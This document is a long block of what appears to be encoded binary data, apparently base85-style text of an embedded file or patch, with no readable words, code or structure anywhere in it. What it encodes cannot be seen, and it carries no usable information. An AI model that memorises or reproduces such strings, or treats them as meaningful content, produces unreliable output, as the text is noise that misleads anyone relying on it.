z@I=G>1yHQdCRjY?W~cj93;K7Eb%7J6G%w=ELUBeD))dj78b?uvH8JRfPR+PL^M3fCD8%~w8CQ35B(l?&I) zET-XBqJDU(#vO6U^jF%A*L~lxqTc<`q+QA!oE2}Py3YT2m&6xMwe$dKUE^)j?GpJ` zb?h<ToM{h9*S_u55SgNW+CgDS(-bdfT){lT{r9wGM5(S|p zH*qmnUPI}ai?0IxA50u%GkQxcGpiHd1wc9%rH3?eB zktljq_QSer&xb0be`*J=-m~s zM`vGkJT!DI!U6jr!-c7d+Fud`#-dLKWvUtts-U2MnRq=>b|M!zjSJW;QZoq}CNUKB zx#|7|%;|Qv%C^GY=RO2u4{+^N`mCU;=l~3{zfI`J`J~MWwZB68Kx|iAtIs4CR9^^f z)rO5~I=XWL#Kgr_ezR`G{?NVWX8wu7$ZCtnHy6Q=yK7`NRDO^|nbz*mv!zebY#vS8_4lbzb2}!xL@xapS*Qa55U$Z0z8@?j2!Cxa!+xZQ&*fy$2lOfhti553MPF z9aYa5-COs|=;q&pHC=tk0NHXYrB3*7W?vFzJK1VH1)MNp>8U^2lL77GQ?ZRDWQh6q zk`4OlyGZ}Vrs#dS70?8zr&e4?~r!n4xQTq-9_UKkj4 z|8#nN7{1O1NrO5FTI4@^^*S~2)}t}Ci)@BxuXr1&x{6+=Q;_HYs__RQF#`YyGp6RI zU6++}ikZ{mDbo3yeR5SAgXArw2t??0=#-ID2AvVLJ$t}DTOu!-pA#<4z{FJ^mCNbhRnAHmdoqI}iOx6p8O=T}SuX6(q#5j^YJP`WZhD7g|zi*!W<)RUz z)34X8lO)QRne0u96E__!EXKz{;v$H=&>%0|CZ{M5j+)x?;OG!$Q<17Vd8kESXQ{+- z@1LB$Lbfmu4{;RgoZD1+ycDVnm~;7(O93(i>YRsjgq4_x{Sg=^;hw_UhG`pnco?u5 ziEt4$Y5JDj6`SpZ_fmN2?Lbf3jq>YKhA4`-Q?ee$8VvncNLt z)A7lp`#$xl6(70AxM5M9?~p1x^hqti$+j8IPf=Q*f>sN6*;LmU_8Iq>{8{XA{t3r= zeqAKLfgiZjSsQlky(I9oXWTYn)h>#I#5;Jl6Kia3X#Kle8T*>wLKUmklyyyy_+N-O zNVL7%;u8SFw`*Fhb&2{sX zU?DzEJ}v4DU;WOm$|r}}yU-A+OjiH)jEDJ(7}QSDmhHKb&&-cIa$J-=R^k02gH*R8 zpPO9wF&4VF08yEn@iE0(5g3P%(5W-}!iv1u`HX&WUFIztiM%(|D{Vwj?sWld5qphX zG(J;~iyIuB5EJYlEFNQ2(?#U%x@Kr^re+<9SF|<5axNUU4qMkK;0`!Ohj!j?L|)W? z_Bj_Jfs=7%q0Z(PZys5QN9$9hp0QHu&-C;yj`N$7#t|;S@w>jwtBel2B@d8#+@;g; zpVyDd{b0!_%C+yhJ5CO>2}Gl-PID7>rh*cWP8Jmq7RwdiMc`8lG&8K*e2OU3+CFi* z#h-vPhLOOzBQ&^HMG&{L=6KQh2)KKuQ>*Sija7(R`22Fs#uz*A?+nn{W19;o%329V zKEw3+GK|se4XWP7h?J}Z_Wdk+H%ek$N@<`b$Wf0ai`Nr*kH05n1N=t9rjYK7OiQ!$T;j9q& zXJ)WB@63vx*IOZSbdG51%I467gK5Rx@*s-d5{c4!d(9M&cR02CqkQH_?1hJa^tXNf zta?;`Y~WQMPo_B8di(Eto|QvUQNAd-n49f zbgbfVcJ#oSX=JRzFUSv_QVRTzIWi*fdP4%(B|Fbibz#Dr-;)%{N7= z!O_9v%e}P@3}8Ap6YH}bU)X;AMarF%_u|}N96xg6s>__hQl{aYBkBYD0X4|4Yj;!k z6m!A-pM-0?C@UF-kOlMOKL7dDu+GX$>e~}GGv>wo?Z`^3nt<^fOdH3loc(d@VIZ@b z^G_*C$)s9)b6CxlXL#KN=O5q|MA|n7?Prn|r8#_*a_8Vy?d)yR*egpHc8$vDrX0wR+Ud$t&a5M37oaPcz%l!t3%s5=`_v9N zRn(R6$BF5w$;tnCvuSaBJ7K73Xq7J`|9(#Siy6tP|JC7HjUJF71Gq)$|`a#~XQur$u z8qL6oXS5KGsr}NKr5T`2fh9!fGt_Ne9GJR|d z4`=$C!5lkre^H(AHBYs2{)i>Dq167B@MzY|aa%3Kig+64qDngo^7eBf?$=+lUl{0M zO%12lZjjPgm*~7OE%9dYla;D+r0Gj#5f;Z7GVEP`xA$X0_zPgypB%H+Fo zBN#{d(s?X>eqxp7%8co{A-R|`H`-2Qu*rDu(qZ^z(Xn>Nn#w|jz4}kP>Vx%-+`J~; zo}Z~yI*on4?^tx4cJPck4%kD=`<)!@MgQHB0bFTr!(PAY>$GwiXA4ByXevj8*3_Xn zv?pkHCh$$ElYX^lu_BzLIx}X{f`87>=XOfba>i9TM>*+H%Liq2{*j{9|Fts7m#01ikxEU0UsS+GaSlHKLuaJYHm`l(t~u)CB){4;@X4Cq06-N;2M{2g2q-pH&L0Clyuu&9DcGzK$C2;Z>eA{2~)E=#{KL_NFE<+u#Z=EH{M#Chyt3V7 z%?EqQ$Gg}`PpU)9p8%cJHxwj5KatB(a4vPSMyt;rX!!87YAPzB9uNzM&XihG3G>k;g zs|bH2_@!Lj6D4T_eUN)% zn?1|pb5{gP1I?6>JtH*3QMk%|uL58!y4Mf;or&9@pYGK{jkJ({kbp1>X|^Ah?V*ux zC$>w$>f60OsgExtY`g!HNRkOJA~Bl${Ed?a7lOxmoULQJSC~3A3H+}k`yXSU?Jh#g zp9MUzTW~jT#y^`)-)d4CsAei>Eod!mv6@g>LMH!L4;FXBHxIMW%|Wr&ZZcsU7Nkq z+wvkiI6qEMdGGchM5Ge9X#R=AjtH7@f17)sFXL_f9$IGs~`o&@*^dQ*T@bv@kTZluX_$WC=Ghc(Hq{f zMOWM*CH+Iqlc6&2n!o{vS_nV$&=wo*KGehXJcw(uRc~DDsGMqgu)(nscg352hJjEe z8}V|dEhl`#P4{MXURePqE@(Fbeu`#6xkFu*|IAu&%k+Mqk5bfnCnrHn3_sG@2vQXI z+~nr&7u*9=&hT{C`{TNSHUyZ?lg;JN!E?u~q9eEu9c)YIb(HK;xfPStMNFM<+X#*{ zUj2u`Vxwm$0-Ar6{?4_T7yDj<#~tMt6u%7(!im5+wTVWk! z7MUMcRTO3cZ|$WFDIs8b@m+A{zQ_EqbT@BHCN@`Q_Pr46F+#AtdoBZi#}AV1Af8J? z=>r8o&2t`=id!ddo~Ixj0%L!M=q&=*K9c%2(~){r#iT|Sfm>EwiHPSMLBorp7TkBt#8=xoSc(}6ch}-Y67lR5il^ymGw>{FSZC;-TZak;E=q|hqOfms2lqa5pYk~0Iy10;OkxS(KA$iR2>2~$~SncJhS4Uq1spIa8>&1yTPRTIL<$~oX zp`y<6(tF8yWihXk!A&prtOIR|YC(@>+8dTon#H2qJ9K`fT2wzOiC#D~_XA1|?)`3F z4HZ5_V^wd@j)7{fEBe}l%5X{mE%z6$djses2%FhTGsW97YbbK(t%O48nzV|A=7LI3 zocSKCm(!r#0mt`xiUAoXXOR0Oy}6KBivvqBGg%~e}QhE7yyH)I- zqKK8wH4qm-&qg4jW;5e&1P?FQmJlPM{e;1!=dMca$+S0>%J`pS7Zjf%nU9ZWMEhyIaol&f|k)29AuXu=Z#2`)sunp&9UqFN?G z-flGIjku!Y(YVtI;T3a3;@wCGX zY&&zWxUY{9{6F!p#0F0(B!+?JUKi15`0{hXe-?7E_^v)+qRoD zHX1u=%*IX{+qP}nXpD(Pg9y3%>{-?WVorO@X;z@H?gWzu?RiK~P6HWx864ih? z%(9NO$)Y-fwMdmwqSGglYbi}tDg;G4@6RcEx`gj}J9DC+$32zI$RUUG zgFgA8tOSkk(OqjJiZ697DTCeq6qH4A`*2Ssd--Y@ZyLtXb?^cA7>G4`ehI0M2F8sM z){y-l+9{3Z_U=fziIlc+7i;3re|uWgcjzB2m!$eS1D_pdUXEMktnm^nVv0CGY$6nH z(X+nrJDUCtUr@Xr>~5Y0#s8HNSa)2CZmE_`J_WPhw3M?OH--18IJzyIrpvXdKER{*>wxTSK%W1mY zd@410wsZMG*L_tmOI{2W#vS?@HKAuBQxIN@bhYMnR9af;)!iq`!!oxqNR5y2DHr5qgA(RE7JR%a+b%2=u3ZGclC(vrSY-v&= z+$F0bIm`g*q%%~dGSQV&2^(04%SZtvQmkYd2 zyX(kVRmj9|?0>yfjO5UGSQmr77J(qOn^sai*5m!B+S~Lo)EBAPG|0Z_EIuLMf>)rJ z`^xPef1VZl=$k@XXns@TiFCTR|MY6%#w>AB){xX9SwEf;TwxY3Wq1QUEy$;Sc76%M z_aU)}0m&~rRO*%_0=g${IB0#n{-tee;=P`!?BE%_wmt%B-@#+1!z3!kKKEVJ+f|$nTCM_qm!UYZe$;SdhuK%+F`#3E;mn{LZ$+=DI-SUn{&m z+8+5}RX^wHdW1`WYKRm4W>0-`i|11K(D6&d#=wKr`Clxa5dym2^4Avl4;?0`D5H8< z#Ik{rw?A}3{qJ@Mw@;qIJXbn6owC+gLVuw9nZIjr5+(K_VmchTg)wYQPBBL8Pea0Z z_DTNDV0+(Z`==ID`>)!R6!2e(egmNEZe3d34Qs}`%1-U8cS=c)H0!|U_$7%FKdz5V+A;S)8a@B8#NB~`g@Dsi-l-Egmu34{aMtyl0_+Uu4E)B3* zV6~37`Zc0RnASTX73_I-sKDRizbk{>@TbIo8g9ltpch-q2LsO*C2*Np#;pmdwA>f# z9ZWuiYO1RoB6ee;fVQFBk%HFQ?GnihhY-kPv0iwwdn?1(Hw{S*OpQtr!NTZb^euHO zu+byXEf-BeTPa~J~(zSJxZ4PUOI`>89XZd zccSv0Q$(%7M&m)p*WZ!p=8xgKp8mgp&&VqLY15eUF)NcY{03?{G^F4Q*KE;|kDe|0 zzO!dAa#l_8fkhDCJr87&yKXO7oA$hl`XTt}7YdOrf0O=W)&%F#nyGLfoCRGP5n;`Q zX?1i-A_Ry1Fw-#ikOUVgNaKO!o&j3iH#R#PX^_iXh$Bf*Y^cuZ%IJh$IH~LHJXV z*@GUL#2Iailh+NvEtMb-GBkVxl5O!?-511Bx594FO$@qjN}^%GR*v#Q>}=%>Z<^607u8{^gnYf z1$I)PFKmeHND_rZ>vn-^zNSF$Kh))pAW9Lw#@Fb4`y3{%B)OdiJ>IpHp-1Ng=z36t z_5N*K#BKB++-wAz8)*PW?Bd?e(qCR>U`d##g24kB;=ap3Yc^QKw1nEr@Xg-nf9OPR zkgld>spKD^e*iZg|9!REHDlA9gvmN)urqXr_X%u9e?vER6Bx2}_;D0tJNp#ueRu;s zfi={O@S}fLPDwOJCu1H7a$;3EOO^qGE-(`Fqc9suyY=y9N8yU+98JaQaJZZaXl6A3 znHi-&gi!GX0jvb5k|faqq64gtLXP1Pk6-6=HzyDZQ>8$*yvI!Dmp>pVI0OF1T!LV+ z9zkN@^L8vna22>fc1%%!PeFGE|Px4`ODv+7XxpvajMBZ z7K_vWrN;t|BW1EvcJVm1TX3;0EULeqiLQON3>qW8gnPeP(683Ed zxJFsIkENt^rVeWlMvOEhpPq09WV#O=UtOLm{bJf6%^T-XuC44FSl04kHMc#HY!P?$ z<{cx*1fNL`AFMh)MU!?G13#nMiVfZ0hq8C>X2{FK-jbA0a(gf^;srwYpUnz1&@wnX zjgg`=5A!Bu6l_2`AC(Lb?>4El9?UtryS!!?qC?0S#bAK`d;FClTK=)Fai+ldKSmRV z+%Q=WMOP00q?fG%{MWkDPr6xq#cl4w} z`hEq_gw>i7({>q$`i{spf~_A=t{?CS3f>U@Ymkwy=S%9H=ae^{v6}EPsr3bCJj<rtAnZAZ?*0V2nPpSoJn*G9}32Z-LU*~@j85E&TB z1EfC;-+La0C7&cb-^Q;sYRpcRE;~3@z4D|uvP@zM-_2!3fcN+w)&z&oKWl5Z#WJy- zfMIcTwk=0-c^YA2C8n?xbpCQBG&!wm@)d%Hk;aFbZ!l0Wa>&B#CssE*WYXE^&LYdd zJvAzc-3Zy3V0Kr>o$eTZHK%(AC9Be-z$zMG9iL1N9q_j2>ifK!dA|wa3U{~+_KTjM z6`OiTeaGUwhdV1(kg%y5XNku)`$x6?G8R*_&*AM0sNYS3R{moAm10rAi}1pe5llw7 zc_cE{U72B{vjV^3e9Ia4OxL`mOu|EofS~`aO@Ot7m9Fx^+ zTF(R$QN3Elt`8+jG6)iXd+;=*q;As*aa)RN-v@^2qh$NPtlk_IJ%m+lZ7luKPByVO zXT2*6E%Tblo5^1x3{i$V75D4Dt>NJe2R@rRyV3HFJx0fG+Vyd+ENO4zzN?7mcS)%# z9{oH4bLy#--xGd$xhCm$At`)V;J6T6+(-%7gQwG_JBZpT5>mUGHjj<;_F%+-Ohu1o zOi=NAVezQFSqwb0uTMa^l1^+Ojvd}OU`t)WmL>&Hw5@rT62iYmk9C8FU0Ii+rVyVf zjrtO5J%4>N;c_+Fcb5Gd*^n{jf(t*rz;0$qaCI5bu(YZwj^X?Azs6bAI zyj=$>!IfIkf%vaS2~EDZT5X1Lb0);3(9T^Y6L7N zkjc>-OVr_PE7ZZYrdFL}st;cz&SMjiOIz-%|5fNC=X7t`K%NdbUC6vR1+j6lYvzakSchj#Y1vie{0ipWKwM zsL542Wn;E@lN0mEG>JObHdFaQ5kCa)o-eDDN{qw|*RTqiey{DX7T6$(W^rdoGnUZ) zL%V8TG4EU5p_SamhPF*y_|)R+9rx=&=`2p#DqB&#&PbBpO#YqAYW=Eqx+Lf1&JDR7 z&wEqay-Vk%LZ*RBAlA`|7B5UBjlYZ;+j%D8(}m5)%lgM75<^TG7VY1<6v^#TXwHz3 z1}}}Wd(28#()YK#Q!u-phU6FF!Z(gE!lvmh^W)54T?a|?9^Zx33{>LO>M+>d%Ni5& zPoH;l`r%ilo%zrtmqsmd8%{_>nrN+$7v`Xj)1n%*{VT_8XRW1~@GKW<6Y1MZB&nd{;gFZdwBgPn2WBb60e|RH_etL!cW7N;xtUU%)}Sy|LE&e z8(~~t$*HS3Op?+`uivvv{Ovx|dyG4?{$vX8$a!JI-9=Elav%o&` zq7nK+;ul6~(EKv~<^#EJ$%eqD-PtaN@!wctle=#RgDT8p+w+lTQQumMVXV-ZxZi77^V~Z0_vs)us48yVquLPUKiu9)L$gIv0N16zH|87ptlpkev++^`19lkFTXW!a6 zCZ8R>AOy&yGK>zw0X0eQN}GUu?s3^-uehG7-cmh=M-g>Dp+6O^QVdhn|h^@ z%wYa>twLO$fIC$s$p+>bt~nX&uT1a_)W#WD7yu;=ru$McDZ^QK5<~vAZy{ZtmrjUw|8c zFllB=4&Wigx!^@cCxO4}^!_4TNA0D;cJF5wqa)t%Y%^9?GW-A%P#!|Lspyh#@Fyx8 zj9|dr97ixY&3IdcQp__R4$eFdtQyb8LzsiU z6AsrE1IO9RB=n^-h>05<$1U8%R-bXcr_M9qy7zX)oa=Vm1Ic>Zg=?SeLzloCfvm=d zI_W{~^_awpE9u;)a#1iEVaLup{o2O=&dNsic)Rq zd{r5_a2DJ}fIHBn%V6yldulbg=AHVo`(Jxgf}ccIm007v&qugBGo1&=D!^jR#miat z=dw#rT3Yyz67{n<6|LEGMCHcs#Ju#Ns7b!)KO7I9`p)g0+vzRluKNiYl2cX`+0^XX z2ut8pYUW!}*wq5ol=cQ#1PA$Q0n=!xi`!3@*LICoq)8M*#!e1;K?PY^vc^|@W+k*p zZ7kI}b9SGSMFk;IQ%=Ce_a61*eG>vJR5}V0vj4{D!Ggu)F+EYh8t3MXil`3m*BT2~ ziMwBbVp`XXFJtY4Z29GbDh&7{W+GwDsT(nE1m47vYp~gsmcuNB9B%l^178=tuFVs+ zug&uT%Psl_!VV?b=rOt%hBw}yL)cCaPDX^9BBBNP)V^d%V-AWnfu4LBx?KC+lJC3b zpvw-@WUKl6Hktfd`ngX+q16duX-6Z4J2Gc3cfOWzy5SaxUqZK0=sWzK z%|y?ubn?_2eode>5~lvo$w}W6kd|!H0~j@^J@eOHK1Q~`>On6i*5!ZIgX9`X^npyS z$^L4LuTPzXT|6%dBggkI>UPTzcjK##_b(KL5FWxu5YA&gKmj0t%H59hNz9`kl!|b> zL~1Pfy~<5o^i=2_^;acG>4Sl$wi4Li3vE~5wCZ$adg(?f67@l`KdG?L-gPBAE=qnY zuKt9SY=im%>Kho)wMrd7n$@fQ1(#$E=4rI@1dxB|cDza1|sCrBNky$y|=7B59vjKJd5@RQ|)Vp#5Fh zyjhuz^sM@ql9{bLD5I~p2DnsKJ?U;^En$3iILLA9LdhQvw$ZN}{GZvKBX9~>71Ecs z_kr3?4&nz)lE)1c5ysA4Cj*ZpA1?vz{BiOB&mSik{Nax|v=3DwE5Lcx*NF;C!8Bh2rEg`6 z^AjKMDMpeXSn2^QJ6Ps@orKoOMYnlZ){QJy*wt^TMlBb9c?x)1wrCK!+Yy>XZ1`Mm z&^F#8nr<&g1&C8lB!~}u#7-?IO}RO>*e)xTZaGB=bogLjbGPm(PkKB)c_MxySMZv_ zDv_xr(ZEYT-)hDW(SF{xU!GZ*jg0nZL?V>HL?pBw^rL~v);Z<4`P{h3)Xu1q(3egK zOMA8MxeNX3W{5W>X-JLQe7zZ0z`sQQT>f-mu^;(A`9~7C2kT7Rx>E{CqGt$JS3>-Y zM#w^rsi7o>+!@GNlz-fw{o?m#yu|NxSk-OL_<-rMU&e(+zw5p_uMPY^>Q>r^MC>Tp z7@ASp9g375*)pc*uY8Rwew1?>tpy1|cU9ZT6MFV7-;&0rvf>_JKe9WTKq5=I=Z3Oj zV1PL)3^ExC4CH6?RMlGgdDygR?dhaxjQN`xa!VKitEWdhnjc%zt~ELs)-+d6TEZIf zYB}1~GUn)(Kk60P=22yg$U)4f5X^}`WxradYjc+H8>?q%zm#e#5Y-%LnR(4QZWCGu-5^a_w}7x zKpOLC_s+Z2XEND9zhHf5Plgn=Lm9Finz;ypmjQ|S<1phHX0jv#bN`pU9XV~1cEYSh z=NPefcQB(-x3?y5ggXbu9KxknBupUE!eidDQi>R*Rhd(v;lkmBW+G-_*qB?LTSO#T zWef>>_|?TrBEiEdkI9>bS}k=B%EAk~ae?xDt^T$AH#ckCmy+OhFaEZ%*XOKhmF>t(zwqDJk|hBd}ce$`2Wyher-Yeut`YJciXKp&+8SAWL#^ ztp1qbZIWgY$VvhJ?}{hd{Kd7J`ek*G;5tw52D$(;z1}a%!ns#cpP- z=MI-vu@(jtB|z}9&HsXqE}%JNnOxpf3>-vA5E&WV_6ulk3UA@fo;hqo>t@rEgKx8y z&v~X1PN=2|N7vONqB(B|91CSyoTw|hC1UI2vF_Q*W3#w0!jwn&?bO0>K3vpDqKZ;= zMz+@8-cHF`!`BT_vKek-n_Z)EI;x)dO0N7g84P1nQye3spRskn2pjQqL2Z)6HPG$O zwnW8#j%aVrkEb$Lt@~%osnByI#HwDW6%FqBA92R$$Mpe_dVI~q`I6)Ll{CJ@Cw*Od zZW+ceI#K8bXLdS$I1{}86cUwgfIrEcF+}8~JvoMAs88VbUU4|DW*8sK^A!sf^=BMc zO?U44{>BzTxXR5>OVOT;B+3WAfVXZuh(Q&6SSXt^X z#JNh#I{#Gh;K%JtW;#)tM{aKi~h z2mgDl%vHb_bp^ur-do@Gzsr-i6pRySuoC88zzgWR4J%IOb}rFPkmlPcEbz|GnimAC zvZ6wfc}$U)u&GIS@@=&g74QP#;KioIHIjww?k_dMqN?DSyj+H}R&&bAco8a!V zPYCCtr0cbhhdJrf9_XgMvaBLoDf*rCekp4{=Jaz-MvdOWJ8fcaHAE~3-_XkYs#{yv z(M3N@sC7h5$&ikWbN07_-Fe~xTA(kvZmrF>o$}23GP$SICNqUIA%?2RUo){bm+Q_q zP^-#_rYbeKry_7i_ENhdGT@#T#BA%GRgld!z%AdC(JGKO)LiyBMt1~q6d0%M5--fT z(7?IDK__&H@U$UxyHML(e#1S+xf))vqS8P^g9i8!O;bSIL$T6Q=Az3c@Gr&WUGx&3 z9aS&+^w5-qX~5+LH?VwL)-R+7`d;Xq%#}8A5dzT?*wUydEq1^X4l?YQ4ms7p33~tvY+>J@Hn%k>2Ri zCMFBXV{lzJHfc+sp}7(h9A+>O-PitOatJ_t3i@}l!6pby!QTewD3|xs8FZw9Z;*qU zxz5N?`}T-t-5DNBW&jT~G^kB@H`K&;w>ckfb9_@3UIKRVy&s3tx(`xMG4qg~2|T>w z?V6T~4z(~Aq`_F0s#=yb4z>IseX~$*RzJnOhO{kn5ZDsQIO0Qy3p!}=j#(;px3S^z zxIn|`>57w9f8*Qb#nc35tL8Lbz*gS<8ae1NW)yT|u#4T7Mm9GF4|=sU_A77`${8b3 z)Pc`<3v7ECwHvJVE!@iQykPvZ12~}UmfrZkwvZaqEr`M{5Y`*8%%KdJ{L_ebfLlNW z?W_j={_@PEO4J;D5w8?@t??p;ceR32%Om@!^!ZIF)i!p=-fvUVpvdgE#98|r4!siE zITZp;)f~QPxYT(e6@7BsN!^z>3~&+zfBoZNS=4t2y>F8qPNbgs8+;ZDM?&2=+*^A_l?8x_VI#3}nwSw1nwu$LJRE z4qdqzz}AlVQMrK#c?H_OX^E-oT=mO3S~0Kxq)p9vcF#q9FH2xBNl*bH2@&uDkn3>v7#aOHq-Zcb#_>I?qQ2H zdr;w6^F!~&ow(DhC&B8kA0|QepB8_Fwr*xEi6@P{K}cJ7z%`B=7Top#R);7!8-0Lg zde0?mI3fE=WYMX|5BtaSiujF%NR@gY;!|h@2ug_Le1Or_r-)ucSo((jz5PVc^>Co< zo-Bx~7A^#$!Lw|yp8Rb*rTbu#p>KI5CfWH*7Msm&Pk8FF0A(D5389mpRDXxU4GJn1 zI`iuDJ*aWh8h2plZGwdA3Bo@*+K;3*VI}Vz)&34|+AR_sovpJHa^*{jr!SF7sVxS! z^heA)syXM0Jhm&3{n6Zo)t}oz0=n?g*M_+36_yw!MxdY%zBZS zx9m-0l3y*2z7-X#MzTYE9DB^#4xCP~asDV1I<*(47N$$>+GH&%&qHEF`#=kMkaymv z0)9uFpP+`58^gW^8SnR5NFgFr6h+bH0p*-%`P0P1YImm;(NEYJ>jxF9_O>c zCOLeTRJLUHEn+;4P!1{awBWDD+sQ$HsnioPJa+ z+}~9M_fHqk`GI~am&^e1XT}m@IZzF4ko=-Leze|8gHEij0P>#6E(tVoOJ{_vo=lQJ zPN_34tk9!L*Cd5?^NcsJKJnQqemPPxaR2B~!6}~Nx0K44LAZIJI}Vb44I*bU-M{Bp zT}UvM)JJxr%J8Rf{1Ek{@3<$KrC_(U<-_m<*#dvAMwK9H1XW~F-tmiUSSV&M4YKUN zJ?N&B5LC}>dc}|g1NVoP5IkR9{_rt;MDp*id5>yX`~-CR6J61dL+-&;BvA%pdX9Ir zY-9Y6dZS@P)5IuPj7)BI6_ge?I{5$3%6$fvu>Vo7ZjYpEX5n#62e>iyr%^%z`84K^G=Hq#>09b8P~h2mW`}k(r>OpU|0_gmFlqML9t?jD8={KuM;< z^*?g{P{a8OBwmnTWVYo2l7*1)uD*bTRlQuEsfTgOqX5BtqG=krrFYoHEGN&v0qK8E zBcNN3#J*dfus+DmStQVZX17l%BOOaJu>-_P%4-1!*_7HH*2D1YyyCtn!slCYuvaq4 zzpE)JDmYvv*-kS{Aw={OMKR(H@B~=8bI(@4i8w8>>0WX5?&YJ0@=6^w*jNXVbLKAd z3I|>`d~E;yDsa0F<_ER3=zr!98nhzXkJ+8pu4jM7G6y~BYq&&d7~#E_=s8yEme+VJ zt%?+-;+hqI7(-q=zt~8@Uso3(2u@72uK~URZxK#3{S{eJ+i-MhNsznkfz?D6zj#9q z^{nX=WuDJ$CXR7uVSIycK10p4i~J3Z0w}n@q@du_yE6ZIz(@;Uj}f{2pZS0YZ9}3w zCcHNXr1F*y$fLC%kx>J6bq!9-GH|{@OborvmKEOR*i~^UH5tP;bo`Pdu*Fl&5B+a2 z{iMLb^ly<^&tpK@F{*sH>hXS`KIA89+KNg z5Y?#oJTZ7mMMqZj-^g=}Nq|2;)NVIxDMaLmEV&&WWuXAFvD?0;`hbaQxYp4(ujXu* zv*mVqb?Xah?eD65BToyogy1AOUaREqBC)|Uw2$kAf&DTG|IMcvTDOj4?~*Qs_xY#6 z%)I7Dco>hiXDGF?%BS5^mkZPw~7WsXK`D(X$`>#bsBxu7Pox!`C#f4pp!-X?B4YvmE?X_IX{k{ zlF$NN)#*4C#m=r@0kqL4_bM-^US;=+QR$t11xlJ_>NwJ07p2Sf>M_t46;Wky{+bY5 zc>fqFZM|D23+ocH1`%UIq^LU)!1bNwEsRK1l{28fy%?w*M>*7bBAt+&^sD_B4y4LK zQtP7pwg2IeN3#?C<&$lA=z}s(F6qJ_6SV(lLH9S)EV2cKbiFb(4ZtFkQChY=6 zr+~9^U>eqMMbDC2#YL9+%}{^uWoXfrW}{BSO}m1@gN*g8XX)~k0-oU;BY))`T475D z4f)L-tjs0c+Qg{44YUOnd=(3%V1d)nC|0`o?fX5F&~9JkZu1l4(0GGM7HI(lF4ldo z&r~(zm`&pT(bdgKvO`IU8f?7q-<*L_bi3+aCV0mmbnm!{W^H~7U2j4UA5O|k&-F*M zLU8<}2el=m5g*5igGAFs>a!u^T2OxdS4K0_US4Jd7^anFZJ)9s#}8X|yN_IU0sY3h zL7G|R_gYVasRu>fNSFxNhaS_%%9~MY%)dq+=o*E68sNs2!{GeW9aUITo~)BEPl<|OmNMF=ll{%!a@3H`V^BKO zaHxMcBZ5meRZ66~(_t zJ;I7xKw!5OeqM&RL$QBw`Q1VpVib*P-NRJC2LQ0db7Ae(u0xV3;yxYkEDypGk4lw7NIU184aLAC=18@@!m8#6`36I$P1XI&&8VZgyBZqf zdu>$@`0}j1f!T&K#&l!p7GvIpp$4zd{8fWx)@OB^HJ&zER=lGrZ@j#TsML)Dm*G0C zwzv{34eJilbnFZhF8xkkfbnBl5{bY2*(hQYn>V~gN@E&;xbLsf=xMmGXonmmd^}+gxwtoTk3Y9bBbffg8 zmCL#l??c9i`sc&1jcHcgqEY7;?xx#blYlG<+_l!6Akv9Lm&aOMsfh(B^7y=3%l(&%#np3uU(991d@ z$SJEbm136Q&N@chJ92n9QjSpSx&3Sn(RV!c{wkrBk@$Jp^xy$5((70K%ucJ?43U}e z)Rc_1P<&4p!>|_UIfL~BlFfQkp7#=-D{9B58SACE_+sj{K)c8@iCzYDh0nC#U|BFa zGy?+KYcf1msy!{39WivOO?=Vilg+QMyKh$3@ixIn_& z3TIlH{QPyZKaBHQ6XpJlO0X*mj?sEV-Uhy8ttciLj^n&%r1Y)%99SNv>Gc^Q`Z>L_ z#KDHZ@nI`O&vS9R@{vM!@Tj`1Jlt3VWlTF*<6h0Ggs$KT&olY!Q_@>8w{k%9##p_* z9>_#+Cf=B7CmZ4mm(PVZm?g_AbmF^Jq54_NXL8`KWnzOA;NM}s3{O?ORqG z3_+qAB*U9pd^z@~EV*9j&|~cc9O_smu-ju0Jb^YG@sYD5pgq+zyRC&3TUiQ9X)&Fo z-gX5)qb6j2U(4apLd+@O&rnyX_R5lT$nvdDy?rPb(`3NC zZ3FU@cQ8zbGJo4R;}(?5@bOd}9^{bKy~Bz(dsE`tco6Se?cc9D()xsz`7?lNF3Av$ zl5EW9JxN4FhRvK9k-Z~SYL5~qEyz-vKPZT=i(WEH*ETQs^Zo=|dvS9>tLmcl}gOA0Mq{mwJj zv{rM3-;K|rl{v)N2SXWcN0#a)Z3oHrV87P4DQCHD)cS6G$q00ZKxhE$Np}c#08SWQQQ>%Y%-Ku{R!Wk8iR#pbo=cjA^`reMZ$&ww zJZ>QIZ{zFrQxC0G#|YyUk7yGv1%*KyJjJ;>QwP=!KUbtixsN_bS>`_xL5N7sPu4ex zW|+(*ZpKijDp?gmRtMK%4f7MXq`~OUS;7sblk6+R0%oKp~Hs zoEHpP)#>)F0b3IQ^RCeROSS^N6&E`#P2Y|0n2aw zfl_cHk59nNpo)8T?}75)h`Uju+gNS&K2Zum4;zHWrK2|G)90O*OS;})VjsdJk)sA< z?7!B(2ISGzx!{SeB#|TLu!@g;s@L>#+Mpjdfk6w7qfLM2rLJd7fG9#V|IwR~7QU~_ z(!3dsBa{9&glC?+*o;5-{l!MA~As1N@h*|KzWZ^e&LeE>@ z!dnzL;jWv;Oiw~>WbIS)Q0Q0WBW~;F8MmjfXCx%4tdnLC{2FZd7W2p*g6#soi&{7h zfWX2jyJ6k6hl!WRJvj1}WhkOltq_~w&7j5T0N=~;JHq(okE z>52cP&LlvlYc%Z)aQ;ZK27&dl%jYS7Z3;VXl<>`LRFX!j{!mogO zlVwr86Zh2H4lj3iBaHN)QC`nhoGrd^wc$xSzXO!Thm5D~32GPfl(^u&zv_?S=9#cf z=9OPWj^30<9mz!>o6s=tc=)xd$16F(Yt>G_4bszuT-#T$D;xN43e|Yj(*96 z$L641<`VW91)Q51G<^B|p`e?u8V{U4maP>=NhW23Fv}s?kVnXd_Mw0~BFX`gy1lx% zUaOgfAMs7uUE6E9AlH(s-GGI|tT=c6!pGlqnN_FUa{tleQ+n}}*Z{MfM>Vm@3(bZP z4sO+Ud)?<~lMr`)SD8dBUG+VuO)QS{Ls{y7VS~1C&ZezMi{8u0in21D54gt;y^5W6 zQ?^ixRlk#2)WPds8(HU1*^LeVb2kiE9ULo~LGi7qoRjxpj$sB9?+f{U?n4hgBfNdQ zAwh_H4_DqT9 z4Z}c>x>hLPfBj03WJmvFz*0<44q}vMVW~&Z9rOp!>1@ok$WU#T(W~LP{QQh=aUo!d zJM{sO%vVp+ehc1OO1BlYaj+0d5F6|%o~}2t`%HB^MAH7^Q&1^~A%Le42d-OlOrEf$ zZCFv(eL_gPO?%Aryy;+a%L%jS8}qGcxBkP8=r{jmT2&S~$bDMnPC>?g*#;rs0iKzc zTsSH^@E|aPju;%o7HSrLaty~6T0f>hs>!>e8VddO{b^aF0wX{@p{pY*FBJQ*=b326 